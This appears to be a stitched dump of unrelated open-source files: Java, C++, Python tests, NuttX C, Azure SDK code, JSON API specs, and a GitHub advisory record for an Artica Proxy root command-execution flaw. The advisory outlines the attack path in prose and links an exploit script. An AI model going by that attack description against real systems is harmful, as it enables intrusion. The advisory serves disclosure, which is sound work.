private int commandId;
private int sequenceId;
private long nodeId;
@Override
public void setHeadLength(long length) {
this.headLength = length;
}
@Override
public long getHeadLength() {
return headLength;
}
@Override
public void setPacketLength(long length) {
this.packetLength = length;
}
@Override
public long getPacketLength() {
return packetLength;
}
@Override
public void setBodyLength(long length) {
this.bodyLength = length;
}
@Override
public long getBodyLength() {
return bodyLength;
}
@Override
public void setCommandId(int commandId) {
this.commandId = commandId;
}
@Override
public int getCommandId() {
return commandId;
}
@Override
public void setSequenceId(int transitionId) {
this.sequenceId = transitionId;
}
@Override
public int getSequenceId() {
return sequenceId;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("DefaultHeader [commandId=0x");
builder.append(Integer.toHexString(commandId));
builder.append(", sequenceId=");
builder.append(sequenceId);
builder.append(", nodeId=");
builder.append(nodeId);
builder.append("]");
return builder.toString();
}
@Override
public long getNodeId() {
return nodeId;
}
@Override
public void setNodeId(long nodeId) {
this.nodeId = nodeId;
}
}
| 679 |
669 | // Copyright (c) Facebook, Inc. and its affiliates.
#pragma once
#include <boost/functional/hash.hpp>
#include <mutex>
#include <optional>
#include <unordered_map>
#include <vector>
#include "event.h"
#include "types.h"
// BlockMap is a subset of the GameState which handles the chunk map. Generally,
// it is a map of (x, y, z) -> (block id). Practically, it is stored as a map of
// (chunk x/y/z) -> (chunk), where chunk is a 16x16x16 array of blocks ordered
// (y, z, x).
//
// This is the way the Minecraft server/protocol work, so it is convenient to
// keep that structure here.
//
// THREAD SAFETY
//
// All public methods are thread-safe unless suffixed with "Unsafe". Unsafe
// methods can be safely called by wrapping in public methods lock() and
// unlock().
//
class BlockMap {
public:
// Thread-safety
void lock() const { lock_.lock(); }
void unlock() const { lock_.unlock(); }
// Chunk management
void setChunk(ChunkSection chunk);
bool isChunkLoaded(int cx, int cy, int cz);
bool chunkExists(int cx, int cy, int cz);
// Block management
// Use getBlockOrThrow() if you are certain the block exists
bool isBlockLoaded(BlockPos p);
void setBlock(BlockPos pos, Block block);
std::optional<Block> getBlockUnsafe(int x, int y, int z) const;
std::optional<Block> getBlock(int x, int y, int z) const;
std::optional<Block> getBlock(BlockPos p) const { return getBlock(p.x, p.y, p.z); }
Block getBlockOrThrow(int x, int y, int z) const;
Block getBlockOrThrow(BlockPos p) const { return getBlockOrThrow(p.x, p.y, p.z); }
// Returns true iff the block at (x, y, z) is not solid (i.e. returns
// true for air and flowers, false for dirt and stone)
bool canWalkthrough(int x, int y, int z) const;
bool canWalkthrough(BlockPos p) { return canWalkthrough(p.x, p.y, p.z); }
bool canWalkthrough(Pos p) { return canWalkthrough(p.toBlockPos()); }
// Returns true if the player is allowed to stand at the given position.
// The block must be not solid, and the block below must be solid.
bool canStandAt(int x, int y, int z) const;
bool canStandAt(BlockPos p) const { return canStandAt(p.x, p.y, p.z); }
bool canStandAt(Pos p) const { return canStandAt(p.toBlockPos()); }
// Fill ob with the cuboid bounded inclusively by corners (xa, ya, za), (xb, yb, zb)
void getCuboid(std::vector<Block>& ob, int xa, int xb, int ya, int yb, int za, int zb);
private:
std::optional<ChunkSection> getChunkUnsafe(int cx, int cy, int cz) const;
ChunkSection getChunkOrThrowUnsafe(int cx, int cy, int cz) const;
void setChunkUnsafe(ChunkSection chunk);
// Get map key from 3-tuple
static size_t key(int x, int y, int z);
// Get index of block in chunk given offsets (ox, oy, oz).
// Blocks are ordered (y, z, x).
inline static int index(uint8_t ox, uint8_t oy, uint8_t oz);
// Fields
std::unordered_map<size_t, ChunkSection> chunks_;
mutable std::mutex lock_;
};
| 993 |
7,409 | <gh_stars>1000+
from datetime import datetime, timedelta, timezone
from unittest.mock import patch
import pytest
from posthog.async_migrations.definition import AsyncMigrationOperation
from posthog.async_migrations.test.util import create_async_migration
from posthog.async_migrations.utils import (
complete_migration,
execute_op,
force_stop_migration,
process_error,
trigger_migration,
)
from posthog.constants import AnalyticsDBMS
from posthog.models.async_migration import MigrationStatus
from posthog.test.base import BaseTest
DEFAULT_CH_OP = AsyncMigrationOperation(sql="SELECT 1", timeout_seconds=10)
DEFAULT_POSTGRES_OP = AsyncMigrationOperation(database=AnalyticsDBMS.POSTGRES, sql="SELECT 1",)
class TestUtils(BaseTest):
@pytest.mark.ee
@patch("ee.clickhouse.client.sync_execute")
def test_execute_op_clickhouse(self, mock_sync_execute):
execute_op(DEFAULT_CH_OP, "some_id")
# correctly routes to ch
mock_sync_execute.assert_called_once_with("/* some_id */ SELECT 1", settings={"max_execution_time": 10})
@patch("django.db.connection.cursor")
def test_execute_op_postgres(self, mock_cursor):
execute_op(DEFAULT_POSTGRES_OP, "some_id")
# correctly routes to postgres
mock_cursor.assert_called_once()
@patch("posthog.async_migrations.runner.attempt_migration_rollback")
def test_process_error(self, _):
sm = create_async_migration()
process_error(sm, "some error")
sm.refresh_from_db()
self.assertEqual(sm.status, MigrationStatus.Errored)
self.assertEqual(sm.last_error, "some error")
self.assertGreater(sm.finished_at, datetime.now(timezone.utc) - timedelta(hours=1))
@patch("posthog.tasks.async_migrations.run_async_migration.delay")
def test_trigger_migration(self, mock_run_async_migration):
sm = create_async_migration()
trigger_migration(sm)
mock_run_async_migration.assert_called_once()
@patch("posthog.celery.app.control.revoke")
def test_force_stop_migration(self, mock_app_control_revoke):
sm = create_async_migration()
force_stop_migration(sm)
sm.refresh_from_db()
mock_app_control_revoke.assert_called_once()
self.assertEqual(sm.status, MigrationStatus.Errored)
self.assertEqual(sm.last_error, "Force stopped by user")
def test_complete_migration(self):
sm = create_async_migration()
complete_migration(sm)
sm.refresh_from_db()
self.assertEqual(sm.status, MigrationStatus.CompletedSuccessfully)
self.assertGreater(sm.finished_at, datetime.now(timezone.utc) - timedelta(hours=1))
self.assertEqual(sm.last_error, "")
self.assertEqual(sm.progress, 100)
| 1,109 |
762 | <filename>tests/misc/test_crowding_distance.py
import os
import numpy as np
import pytest
from pymoo.algorithms.moo.nsga2 import calc_crowding_distance
from pymoo.config import get_pymoo
@pytest.mark.skip(reason="check if this is supposed to work or not at all")
def test_crowding_distance():
D = np.loadtxt(os.path.join(get_pymoo(), "tests", "resources", "test_crowding.dat"))
F, cd = D[:, :-1], D[:, -1]
assert np.all(np.abs(cd - calc_crowding_distance(F)) < 0.001)
def test_crowding_distance_one_duplicate():
F = np.array([[1.0, 1.0], [1.0, 1.0], [0.5, 1.5], [0.0, 2.0]])
cd = calc_crowding_distance(F)
np.testing.assert_almost_equal(cd, np.array([np.inf, 0.0, 1.0, np.inf]))
def test_crowding_distance_two_duplicates():
F = np.array([[1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [0.5, 1.5], [0.0, 2.0]])
cd = calc_crowding_distance(F)
np.testing.assert_almost_equal(cd, np.array([np.inf, 0.0, 0.0, 1.0, np.inf]))
def test_crowding_distance_norm_equals_zero():
F = np.array([[1.0, 1.5, 0.5, 1.0], [1.0, 0.5, 1.5, 1.0], [1.0, 0.0, 2.0, 1.5]])
cd = calc_crowding_distance(F)
np.testing.assert_almost_equal(cd, np.array([np.inf, 0.75, np.inf]))
| 568 |
645 | <filename>tony-core/src/main/java/com/linkedin/tony/rpc/GetTaskInfosRequest.java<gh_stars>100-1000
/**
* Copyright 2018 LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license.
* See LICENSE in the project root for license information.
*/
package com.linkedin.tony.rpc;
public interface GetTaskInfosRequest {
}
| 104 |
6,140 | <reponame>laurenzberger/training-data-analyst
import argparse
import json
import os
from babyweight.trainer import model
import tensorflow as tf
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"--job-dir",
help="this model ignores this field, but it is required by gcloud",
default="junk"
)
parser.add_argument(
"--train_data_path",
help="GCS location of training data",
required=True
)
parser.add_argument(
"--eval_data_path",
help="GCS location of evaluation data",
required=True
)
parser.add_argument(
"--output_dir",
help="GCS location to write checkpoints and export models",
required=True
)
parser.add_argument(
"--batch_size",
help="Number of examples to compute gradient over.",
type=int,
default=512
)
parser.add_argument(
"--nnsize",
help="Hidden layer sizes for DNN -- provide space-separated layers",
nargs="+",
type=int,
default=[128, 32, 4]
)
parser.add_argument(
"--nembeds",
help="Embedding size of a cross of n key real-valued parameters",
type=int,
default=3
)
parser.add_argument(
"--num_epochs",
help="Number of epochs to train the model.",
type=int,
default=10
)
parser.add_argument(
"--train_examples",
help="""Number of examples (in thousands) to run the training job over.
If this is more than actual # of examples available, it cycles through
them. So specifying 1000 here when you have only 100k examples makes
this 10 epochs.""",
type=int,
default=5000
)
parser.add_argument(
"--eval_steps",
help="""Positive number of steps for which to evaluate model. Default
to None, which means to evaluate until input_fn raises an end-of-input
exception""",
type=int,
default=None
)
# Parse all arguments
args = parser.parse_args()
arguments = args.__dict__
# Unused args provided by service
arguments.pop("job_dir", None)
arguments.pop("job-dir", None)
# Modify some arguments
arguments["train_examples"] *= 1000
# Append trial_id to path if we are doing hptuning
# This code can be removed if you are not using hyperparameter tuning
arguments["output_dir"] = os.path.join(
arguments["output_dir"],
json.loads(
os.environ.get("TF_CONFIG", "{}")
).get("task", {}).get("trial", "")
)
# Run the training job
model.train_and_evaluate(arguments) | 1,127 |
1,006 | <gh_stars>1000+
/****************************************************************************
* sched/timer/timer_initialize.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <nuttx/compiler.h>
#include <sys/types.h>
#include <time.h>
#include <queue.h>
#include <errno.h>
#include <nuttx/irq.h>
#include "timer/timer.h"
#ifndef CONFIG_DISABLE_POSIX_TIMERS
/****************************************************************************
* Private Data
****************************************************************************/
/* These are the preallocated times */
#if CONFIG_PREALLOC_TIMERS > 0
static struct posix_timer_s g_prealloctimers[CONFIG_PREALLOC_TIMERS];
#endif
/****************************************************************************
* Public Data
****************************************************************************/
#if CONFIG_PREALLOC_TIMERS > 0
/* This is a list of free, preallocated timer structures */
volatile sq_queue_t g_freetimers;
#endif
/* This is a list of instantiated timer structures -- active and inactive.
* The timers are place on this list by timer_create() and removed from the
* list by timer_delete() or when the owning thread exits.
*/
volatile sq_queue_t g_alloctimers;
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: timer_initialize
*
* Description:
* Boot up configuration of the POSIX timer facility.
*
* Input Parameters:
* None
*
* Returned Value:
* None
*
****************************************************************************/
void weak_function timer_initialize(void)
{
#if CONFIG_PREALLOC_TIMERS > 0
int i;
/* Place all of the pre-allocated timers into the free timer list */
sq_init((FAR sq_queue_t *)&g_freetimers);
for (i = 0; i < CONFIG_PREALLOC_TIMERS; i++)
{
g_prealloctimers[i].pt_flags = PT_FLAGS_PREALLOCATED;
sq_addlast((FAR sq_entry_t *)&g_prealloctimers[i],
(FAR sq_queue_t *)&g_freetimers);
}
#endif
/* Initialize the list of allocated timers */
sq_init((FAR sq_queue_t *)&g_alloctimers);
}
/****************************************************************************
* Name: timer_deleteall
*
* Description:
* This function is called whenever a thread exits. Any timers owned by
* that thread are deleted as though called by timer_delete().
*
* It is provided in this file so that it can be weakly defined but also,
* like timer_intitialize(), be brought into the link whenever the timer
* resources are referenced.
*
* Input Parameters:
* pid - the task ID of the thread that exited
*
* Returned Value:
* None
*
****************************************************************************/
void weak_function timer_deleteall(pid_t pid)
{
FAR struct posix_timer_s *timer;
FAR struct posix_timer_s *next;
irqstate_t flags;
flags = enter_critical_section();
for (timer = (FAR struct posix_timer_s *)g_alloctimers.head;
timer != NULL;
timer = next)
{
next = timer->flink;
if (timer->pt_owner == pid)
{
timer_delete((timer_t)timer);
}
}
leave_critical_section(flags);
}
#endif /* CONFIG_DISABLE_POSIX_TIMERS */
| 1,223 |
1,707 | <gh_stars>1000+
#pragma once
//------------------------------------------------------------------------------
/**
@class Oryol::_priv::osxInputMgr
@ingroup _priv
@brief input manager wrapper for OSX without GLFW
*/
#include "Input/private/inputMgrBase.h"
namespace Oryol {
namespace _priv {
class osxInputMgr : public inputMgrBase {
public:
/// constructor
osxInputMgr();
/// destructor
~osxInputMgr();
/// setup the input manager
void setup(const InputSetup& setup);
/// discard the input manager
void discard();
/// setup the key mapping table
void setupKeyTable();
/// setup glfw input callbacks
void setupCallbacks();
/// discard glfw input callbacks
void discardCallbacks();
/// map GLFW key code to Oryol key code
Key::Code mapKey(int osxBridgeKey) const;
/// GLFW key callback
static void keyCallback(int key, int scancode, int action, int mods);
/// GLFW char callback
static void charCallback(uint32_t unicode);
/// GLFW mouse button callback
static void mouseButtonCallback(int button, int action, int mods);
/// GLFW cursor position callback
static void cursorPosCallback(double x, double y);
/// GLFW cursor enter callback
static void cursorEnterCallback(bool entered);
/// GLFW scroll callback
static void scrollCallback(double xOffset, double yOffset);
static osxInputMgr* self;
int runLoopId;
};
} // namespace _priv
} // namespace Oryol
| 486 |
657 | {
"desc": "Set the profile information for a user.",
"args": {
"user": {
"type": "user",
"required": false,
"example": "W1234567890",
"desc": "User to retrieve profile info for"
},
"name": {
"required": false,
"example": "first_name",
"desc": "Name of a single key to set. Usable only if `profile` is not passed."
},
"value": {
"required": false,
"example": "John",
"desc": "Value to set a single key to. Usable only if `profile` is not passed."
},
"profile": {
"required": false,
"example": "`{ first_name: \"John\", ... }`",
"desc": "Collection of key:value pairs presented as a URL-encoded JSON hash. At most 50 fields may be set. Each field name is limited to 255 characters."
}
},
"errors": {
"reserved_name": "First or last name are reserved.",
"invalid_profile": "Profile object passed in is not valid JSON (make sure it is URL encoded!).",
"profile_set_failed": "Failed to set user profile.",
"not_admin": "Only admins can update the profile of another user. Some fields, like email may only be updated by an admin.",
"not_app_admin": "Only team owners and selected members can update the profile of a bot user.",
"cannot_update_admin_user": "Only a primary owner can update the profile of an admin."
}
}
| 517 |
348 | <reponame>chamberone/Leaflet.PixiOverlay
{"nom":"Moulins","circ":"5ème circonscription","dpt":"Ille-et-Vilaine","inscrits":536,"abs":328,"votants":208,"blancs":11,"nuls":1,"exp":196,"res":[{"nuance":"REM","nom":"Mme <NAME>","voix":109},{"nuance":"LR","nom":"Mme <NAME>","voix":87}]} | 117 |
359 | <reponame>tavianator/bistring
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT license.
from ._alignment import *
from ._bistr import *
from ._builder import *
from ._token import *
| 63 |
892 | {
"schema_version": "1.2.0",
"id": "GHSA-34qx-f7ff-w7xc",
"modified": "2022-05-13T01:22:49Z",
"published": "2022-05-13T01:22:49Z",
"aliases": [
"CVE-2019-7300"
],
"details": "Artica Proxy 3.06.200056 allows remote attackers to execute arbitrary commands as root by reading the ressources/settings.inc ldap_admin and ldap_password fields, using these credentials at logon.php, and then entering the commands in the admin.index.php command-line field.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7300"
},
{
"type": "WEB",
"url": "https://code610.blogspot.com/2019/01/rce-in-artica.html"
},
{
"type": "WEB",
"url": "https://github.com/c610/tmp/blob/master/aRtiCE.py"
}
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"severity": "HIGH",
"github_reviewed": false
}
} | 508 |
5,169 | <reponame>Gantios/Specs
{
"name": "OptionMenu",
"version": "2.0.2",
"summary": "An option menu contains more than a style and theme (Material Bottom Sheet, PopOver, Horizontal) to view in iOS.",
"description": "It integrates with material design style and other styles to be easily configured for viewing as suits your App.",
"authors": {
"<NAME>": "<EMAIL>"
},
"platforms": {
"ios": "10.0"
},
"source": {
"git": "https://github.com/amr-abdelfattah/iOS-OptionMenu.git",
"tag": "v2.0.2"
},
"homepage": "https://github.com/amr-abdelfattah/iOS-OptionMenu",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"source_files": "OptionMenu/Classes/**/*",
"dependencies": {
"MaterialComponents/BottomSheet": [
"~> 85.0"
],
"Localize-Swift": [
"~> 2.0"
]
},
"swift_versions": "5.1",
"swift_version": "5.1"
}
| 364 |
1,350 | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.resourcemanager.automation.models;
import com.azure.core.annotation.Fluent;
import com.azure.core.annotation.JsonFlatten;
import com.azure.core.util.logging.ClientLogger;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonProperty;
import java.util.Map;
/** The parameters supplied to the create compilation job operation. */
@JsonFlatten
@Fluent
public class DscCompilationJobCreateParameters {
@JsonIgnore private final ClientLogger logger = new ClientLogger(DscCompilationJobCreateParameters.class);
/*
* Gets or sets name of the resource.
*/
@JsonProperty(value = "name")
private String name;
/*
* Gets or sets the location of the resource.
*/
@JsonProperty(value = "location")
private String location;
/*
* Gets or sets the tags attached to the resource.
*/
@JsonProperty(value = "tags")
private Map<String, String> tags;
/*
* Gets or sets the configuration.
*/
@JsonProperty(value = "properties.configuration", required = true)
private DscConfigurationAssociationProperty configuration;
/*
* Gets or sets the parameters of the job.
*/
@JsonProperty(value = "properties.parameters")
private Map<String, String> parameters;
/*
* If a new build version of NodeConfiguration is required.
*/
@JsonProperty(value = "properties.incrementNodeConfigurationBuild")
private Boolean incrementNodeConfigurationBuild;
/**
* Get the name property: Gets or sets name of the resource.
*
* @return the name value.
*/
public String name() {
return this.name;
}
/**
* Set the name property: Gets or sets name of the resource.
*
* @param name the name value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withName(String name) {
this.name = name;
return this;
}
/**
* Get the location property: Gets or sets the location of the resource.
*
* @return the location value.
*/
public String location() {
return this.location;
}
/**
* Set the location property: Gets or sets the location of the resource.
*
* @param location the location value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withLocation(String location) {
this.location = location;
return this;
}
/**
* Get the tags property: Gets or sets the tags attached to the resource.
*
* @return the tags value.
*/
public Map<String, String> tags() {
return this.tags;
}
/**
* Set the tags property: Gets or sets the tags attached to the resource.
*
* @param tags the tags value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withTags(Map<String, String> tags) {
this.tags = tags;
return this;
}
/**
* Get the configuration property: Gets or sets the configuration.
*
* @return the configuration value.
*/
public DscConfigurationAssociationProperty configuration() {
return this.configuration;
}
/**
* Set the configuration property: Gets or sets the configuration.
*
* @param configuration the configuration value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withConfiguration(DscConfigurationAssociationProperty configuration) {
this.configuration = configuration;
return this;
}
/**
* Get the parameters property: Gets or sets the parameters of the job.
*
* @return the parameters value.
*/
public Map<String, String> parameters() {
return this.parameters;
}
/**
* Set the parameters property: Gets or sets the parameters of the job.
*
* @param parameters the parameters value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withParameters(Map<String, String> parameters) {
this.parameters = parameters;
return this;
}
/**
* Get the incrementNodeConfigurationBuild property: If a new build version of NodeConfiguration is required.
*
* @return the incrementNodeConfigurationBuild value.
*/
public Boolean incrementNodeConfigurationBuild() {
return this.incrementNodeConfigurationBuild;
}
/**
* Set the incrementNodeConfigurationBuild property: If a new build version of NodeConfiguration is required.
*
* @param incrementNodeConfigurationBuild the incrementNodeConfigurationBuild value to set.
* @return the DscCompilationJobCreateParameters object itself.
*/
public DscCompilationJobCreateParameters withIncrementNodeConfigurationBuild(
Boolean incrementNodeConfigurationBuild) {
this.incrementNodeConfigurationBuild = incrementNodeConfigurationBuild;
return this;
}
/**
* Validates the instance.
*
* @throws IllegalArgumentException thrown if the instance is not valid.
*/
public void validate() {
if (configuration() == null) {
throw logger
.logExceptionAsError(
new IllegalArgumentException(
"Missing required property configuration in model DscCompilationJobCreateParameters"));
} else {
configuration().validate();
}
}
}
| 2,008 |
884 | <gh_stars>100-1000
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from cdm.objectmodel import CdmAttributeContext, CdmObject
from cdm.enums import CdmAttributeContextType
class AttributeContextParameters:
"""Describe new attribute context into which a set of resolved attributes should be placed."""
def __init__(self, **kwargs) -> None:
self._name = kwargs.get('name', None) # type: str
self._include_traits = kwargs.get('include_traits', False) # type: bool
self._under = kwargs.get('under', None) # type: CdmAttributeContext
self._type = kwargs.get('type', None) # type: CdmAttributeContextType
self._regarding = kwargs.get('regarding', None) # type: CdmObject
def copy(self) -> 'AttributeContextParameters':
c = AttributeContextParameters()
c._name = self._name
c._include_traits = self._include_traits
c._under = self._under
c._type = self._type
c._regarding = self._regarding
return c
| 420 |
584 | /**
* Basic support for creating custom Spring namespaces and JavaConfig.
*/
@org.springframework.lang.NonNullApi
package org.springframework.data.config;
| 42 |
1,103 | # -*- coding: utf-8 -*-
from datetime import datetime
from elasticsearch_dsl import connections
from kafka import KafkaProducer
from fooltrader.api.computing import *
from fooltrader.api.event import *
from fooltrader.api.fundamental import *
from fooltrader.api.technical import *
from fooltrader.api.technical import get_security_list
from fooltrader.contract.data_contract import EXCHANGE_LIST_COL
from fooltrader.contract.files_contract import get_finance_dir, get_tick_dir, get_event_dir, get_kdata_dir, \
get_exchange_dir, get_exchange_cache_dir
from fooltrader.settings import FOOLTRADER_STORE_PATH, ES_HOSTS, KAFKA_HOST
def init_log():
root_logger = logging.getLogger()
root_logger.setLevel(logging.INFO)
# fh = logging.FileHandler('fooltrader.log')
# fh.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setLevel(logging.INFO)
# create formatter and add it to the handlers
formatter = logging.Formatter(
"%(levelname)s %(threadName)s %(asctime)s %(name)s:%(lineno)s %(funcName)s %(message)s")
# fh.setFormatter(formatter)
ch.setFormatter(formatter)
# add the handlers to the logger
# root_logger.addHandler(fh)
root_logger.addHandler(ch)
def mkdir_for_stock(item):
finance_dir = get_finance_dir(item)
if not os.path.exists(finance_dir):
os.makedirs(finance_dir)
tick_dir = get_tick_dir(item)
if not os.path.exists(tick_dir):
os.makedirs(tick_dir)
event_dir = get_event_dir(item)
if not os.path.exists(event_dir):
os.makedirs(event_dir)
bfq_kdata_dir = get_kdata_dir(item, 'bfq')
if not os.path.exists(bfq_kdata_dir):
os.makedirs(bfq_kdata_dir)
hfq_kdata_dir = get_kdata_dir(item, 'hfq')
if not os.path.exists(hfq_kdata_dir):
os.makedirs(hfq_kdata_dir)
def init_env():
if not os.path.exists(FOOLTRADER_STORE_PATH):
print("{} is a wrong path")
print("please set env FOOLTRADER_STORE_PATH to working path or set it in settings.py")
else:
# 初始化股票文件夹
for _, item in get_security_list(exchanges=EXCHANGE_LIST_COL).iterrows():
mkdir_for_stock(item)
# 初始化指数文件夹
for _, item in get_security_list(security_type='index', exchanges=['sh', 'sz', 'nasdaq']).iterrows():
kdata_dir = get_kdata_dir(item)
if not os.path.exists(kdata_dir):
os.makedirs(kdata_dir)
# 初始化期货文件夹
for exchange in ['shfe', 'dce', 'zce']:
exchange_cache_dir = get_exchange_cache_dir(security_type='future', exchange=exchange)
if not os.path.exists(exchange_cache_dir):
os.makedirs(exchange_cache_dir)
exchange_cache_dir = get_exchange_cache_dir(security_type='future', exchange='shfe',
the_year=datetime.datetime.today().year,
data_type="day_kdata")
if not os.path.exists(exchange_cache_dir):
os.makedirs(exchange_cache_dir)
exchange_dir = get_exchange_dir(security_type='future', exchange=exchange)
if not os.path.exists(exchange_dir):
os.makedirs(exchange_dir)
pd.set_option('expand_frame_repr', False)
init_log()
init_env()
logger = logging.getLogger(__name__)
try:
es_client = connections.create_connection(hosts=ES_HOSTS)
except Exception as e:
logger.exception(e)
try:
kafka_producer = KafkaProducer(bootstrap_servers=KAFKA_HOST)
except Exception as e:
logger.exception(e)
| 1,690 |
1,056 | <reponame>timfel/netbeans
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.timers;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import org.openide.ErrorManager;
import org.openide.util.ImageUtilities;
import org.openide.util.NbBundle;
import org.openide.util.Utilities;
import org.openide.windows.TopComponent;
import org.openide.windows.WindowManager;
/**
*
* @author <NAME>
*/
public class TimeComponent extends TopComponent {
private static final String PREFERRED_ID = "timers"; //NOI18N
static final String ICON_PATH = "org/netbeans/modules/timers/resources/timer.png"; //NOI18N
private static TimeComponent INSTANCE;
/**
* Creates a new instance of TimeComponent
*/
public TimeComponent() {
setName ("timers"); //NOI18N
setDisplayName (NbBundle.getMessage ( TimeComponent.class, "LBL_TimeComponent" )); //NOI18N
setIcon(ImageUtilities.loadImage(ICON_PATH));
setLayout(new GridBagLayout());
GridBagConstraints gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
gridBagConstraints.weightx = 1.0;
gridBagConstraints.weighty = 1.0;
add(new TimeComponentPanel(), gridBagConstraints);
}
public @Override String preferredID () {
return PREFERRED_ID;
}
public @Override int getPersistenceType () {
return PERSISTENCE_ALWAYS;
}
/**
* Gets default instance. Do not use directly: reserved for *.settings files only,
* i.e. deserialization routines; otherwise you could get a non-deserialized instance.
* To obtain the singleton instance, use {@link findInstance}.
*/
public static synchronized TimeComponent getDefault() {
if (INSTANCE == null) {
INSTANCE = new TimeComponent();
}
return INSTANCE;
}
public static synchronized TimeComponent findInstance() {
TopComponent win = WindowManager.getDefault().findTopComponent(PREFERRED_ID);
if (win == null) {
ErrorManager.getDefault().log(ErrorManager.WARNING,
"Cannot find TimeComponent component. It will not be located properly in the window system.");
return getDefault();
}
if (win instanceof TimeComponent) {
return (TimeComponent)win;
}
ErrorManager.getDefault().log(ErrorManager.WARNING,
"There seem to be multiple components with the '" + PREFERRED_ID +
"' ID. That is a potential source of errors and unexpected behavior.");
return getDefault();
}
}
| 1,257 |
12,278 | <gh_stars>1000+
// Boost.Geometry (aka GGL, Generic Geometry Library)
// Unit Test
// Copyright (c) 2015, Oracle and/or its affiliates.
// Contributed and/or modified by <NAME>, on behalf of Oracle
// Contributed and/or modified by <NAME>, on behalf of Oracle
// Licensed under the Boost Software License version 1.0.
// http://www.boost.org/users/license.html
#ifndef BOOST_TEST_MODULE
#define BOOST_TEST_MODULE test_maximum_gap
#endif
#include <boost/test/included/unit_test.hpp>
#include <cstddef>
#include <iostream>
#include <sstream>
#include <vector>
#include <boost/geometry/algorithms/detail/max_interval_gap.hpp>
namespace bg = boost::geometry;
class uint_interval
{
public:
typedef unsigned value_type;
typedef int difference_type;
uint_interval(unsigned left, unsigned right)
: m_left(left)
, m_right(right)
{}
template <std::size_t Index>
value_type get() const
{
return (Index == 0) ? m_left : m_right;
}
difference_type length() const
{
return static_cast<int>(m_right) - static_cast<int>(m_left);
}
private:
unsigned m_left, m_right;
};
struct uint_intervals
: public std::vector<uint_interval>
{
uint_intervals()
{}
uint_intervals(unsigned left, unsigned right)
{
this->push_back(uint_interval(left, right));
}
uint_intervals & operator()(unsigned left, unsigned right)
{
this->push_back(uint_interval(left, right));
return *this;
}
};
std::ostream& operator<<(std::ostream& os, uint_interval const& interval)
{
os << "[" << interval.get<0>() << ", " << interval.get<1>() << "]";
return os;
}
template <typename RangeOfIntervals>
inline void test_one(std::string const& case_id,
RangeOfIntervals const& intervals,
typename boost::range_value
<
RangeOfIntervals
>::type::difference_type expected_gap)
{
typedef typename boost::range_value<RangeOfIntervals>::type interval_type;
typedef typename interval_type::difference_type gap_type;
gap_type gap = bg::maximum_gap(intervals);
std::ostringstream stream;
for (typename boost::range_const_iterator<RangeOfIntervals>::type
it = boost::const_begin(intervals);
it != boost::const_end(intervals);
++it)
{
stream << " " << *it;
}
#ifdef BOOST_GEOMETRY_TEST_DEBUG
std::cout << "intervals:" << stream.str() << std::endl;
std::cout << "gap found? " << ((gap > 0) ? "yes" : "no") << std::endl;
std::cout << "max gap length: " << gap << std::endl;
std::cout << std::endl << std::endl;
#endif
BOOST_CHECK_MESSAGE(gap == expected_gap,
case_id << "; intervals: "
<< stream.str()
<< "; expected: " << expected_gap
<< ", detected: " << gap);
}
BOOST_AUTO_TEST_CASE( test_maximum_gap )
{
uint_intervals intervals;
intervals = uint_intervals(3,4)(1,10)(5,11)(20,35)(12,14)(36,40)(39,41)(35,36)(37,37)(50,50)(50,51);
test_one("case_01", intervals, 9);
intervals = uint_intervals(3,4)(1,10)(5,11)(20,35)(52,60)(12,14)(36,40)(39,41)(35,36)(37,37)(55,56);
test_one("case_02", intervals, 11);
intervals = uint_intervals(3,4);
test_one("case_03", intervals, 0);
intervals = uint_intervals(3,4)(15,15);
test_one("case_04", intervals, 11);
intervals = uint_intervals(3,14)(5,5)(5,6);
test_one("case_05", intervals, 0);
